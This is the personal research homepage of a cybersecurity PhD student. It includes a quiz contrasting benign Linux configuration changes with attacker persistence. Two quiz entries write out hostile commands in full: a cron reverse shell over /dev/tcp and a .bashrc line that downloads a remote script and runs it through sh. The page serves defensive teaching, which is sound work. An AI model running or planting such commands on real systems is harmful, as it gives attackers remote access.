Portrait of Samuel Schwertfeger

First-year Ph.D. student · Augusta University

Samuel Schwertfeger

I study how local language models can tell a machine owner's everyday changes apart from an attacker's persistence on Linux. I also serve as a Cyber officer in the U.S. Army National Guard.

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Samuel Schwertfeger, Ph.D. student in Computer & Cyber Sciences

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Machine-aware local LLMs for Linux persistence detection

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Now

Ph.D. student

Augusta University, 2026 –

Focus

Linux persistence

Local LLMs for host intrusion detection

Service

Army Cyber officer

U.S. Army National Guard

B.S.

Magna cum laude

Information Technology, Georgia Southern

01 · Research

Machine-Aware Local Language Models: Separating User Changes from Attacker Persistence on Linux

A new systemd service, cron job, or SSH key can be a routine change by the machine's owner or an attacker making sure they can get back in. Rule-based tools often flag both the same way. My research asks whether a local language model that knows the machine, including its package history and admin activity, can tell the two apart and explain its reasoning.

Research pipeline: a Linux host's detected changes go to a machine-aware local language model, which uses machine context to classify each change as a user change or attacker persistenceLinux hostservices · cron · SSH keys · shellsDetected changesdiff against a known baselineMachine-aware local LLMreasons about each changeMachine contextpackage history · admin activityUser changeexpected and explainedAttacker persistenceflagged with evidence for the analyst
Proposed approach

Host-based intrusion detectionLocal language models for securityLinux persistenceExplainable AIDefensive cyber operations

02 · You make the call

User change or attacker persistence?

Both look like ordinary configuration changes. Make your call, then see what the machine's history says.

A change appears on the host MITRE ATT&CK T1053.003

/etc/cron.d/backup0 2 * * * root rsync -a /home/ /mnt/backup/
Who made it?

User change

What the machine knows

  • rsync was installed by the package manager three days earlier
  • Written by the admin through sudo during a logged-in session
  • /mnt/backup is a mounted drive already used for backups

Scheduled by the admin, uses an installed tool, and writes to a known backup location.

A change appears on the host MITRE ATT&CK T1053.003

/var/spool/cron/crontabs/www-data*/5 * * * * bash -c 'bash -i >& /dev/tcp/203.0.113.7/4444 0>&1'
Who made it?

Attacker persistence

What the machine knows

  • The web server account has never had a crontab
  • No admin session was active when the file was written
  • Opens an interactive shell to an address the host has never contacted

A reverse shell every five minutes from a service account, with no admin activity behind it.

A change appears on the host MITRE ATT&CK T1543.002

/usr/lib/systemd/system/nginx.serviceExecStart=/usr/bin/nginx -g 'daemon off;'
Who made it?

User change

What the machine knows

  • The unit file is owned by the nginx package
  • The package was installed minutes earlier by the admin
  • The binary path matches the package's file list

The service arrived with a package the admin just installed.

A change appears on the host MITRE ATT&CK T1543.002

/etc/systemd/system/dbus-update.serviceExecStart=/tmp/.cache/upd
Who made it?

Attacker persistence

What the machine knows

  • No installed package owns this unit file
  • The binary sits in a hidden folder inside a world-writable temp directory
  • The name imitates a real system component

An unowned service, disguised as a system component, that runs a hidden binary at every boot.

A change appears on the host MITRE ATT&CK T1098.004

/home/admin/.ssh/authorized_keysssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA... admin@laptop
Who made it?

User change

What the machine knows

  • Added during the admin's own interactive session
  • The session came from an address the admin uses regularly
  • The key comment names the admin's laptop

The account owner added their own key from a familiar session.

A change appears on the host MITRE ATT&CK T1098.004

/root/.ssh/authorized_keysssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA...
Who made it?

Attacker persistence

What the machine knows

  • Written by a process started from the web server
  • No one was logged in when the key appeared
  • The key has no comment and has never been seen on this host

An unknown key on root, written by a web-facing process, gives an attacker a way back in.

A change appears on the host MITRE ATT&CK T1546.004

/home/user/.bashrcalias ll='ls -la'
Who made it?

User change

What the machine knows

  • Edited by the user in a text editor
  • The change only adds a shortcut
  • Nothing new runs or connects to the network

A cosmetic shortcut added by the account's owner.

A change appears on the host MITRE ATT&CK T1546.004

/home/user/.bashrccurl -s http://203.0.113.9/s | sh &
Who made it?

Attacker persistence

What the machine knows

  • Written by a non-interactive process, not an editor
  • Downloads and runs a remote script at every login
  • The address has never been contacted before

Every new shell quietly downloads and runs code from an unknown server.

Illustrative examples of the problem, not output from a trained model.

03 · Path

How I got here

  1. 2022

    Started undergraduate studies

    Georgia Southern University

    B.S. in Information Technology with a minor in Military Science, through Army ROTC.

  2. 2026

    Undergraduate research

    Georgia Southern University

    Built a SIEM/IDS lab, verified detections across a multi-stage attack, and mapped it to NIST SP 800-53.

  3. 2026

    Graduated magna cum laude, commissioned

    Georgia Southern University · U.S. Army National Guard

    B.S. and Cyber Security Certificate; commissioned as an officer in the Cyber Branch.

  4. 2026 · now

    Began the Ph.D.

    Augusta University

    Computer and Cyber Sciences. Researching local language models for Linux intrusion detection.

04 · Projects

Projects

2026

SIEM/IDS Detection Lab

Undergraduate research at Georgia Southern University, advised by Dr. Hayden Wimmer. Built a Splunk and Snort lab, ran a multi-stage attack against it, and verified that detections fired at each stage. Mapped the project to NIST SP 800-53 Audit and Accountability and Incident Response controls.

SplunkSnortNIST SP 800-53

05 · Contact

Let's talk research

I'm happy to discuss collaboration, Linux security, or questions about this work.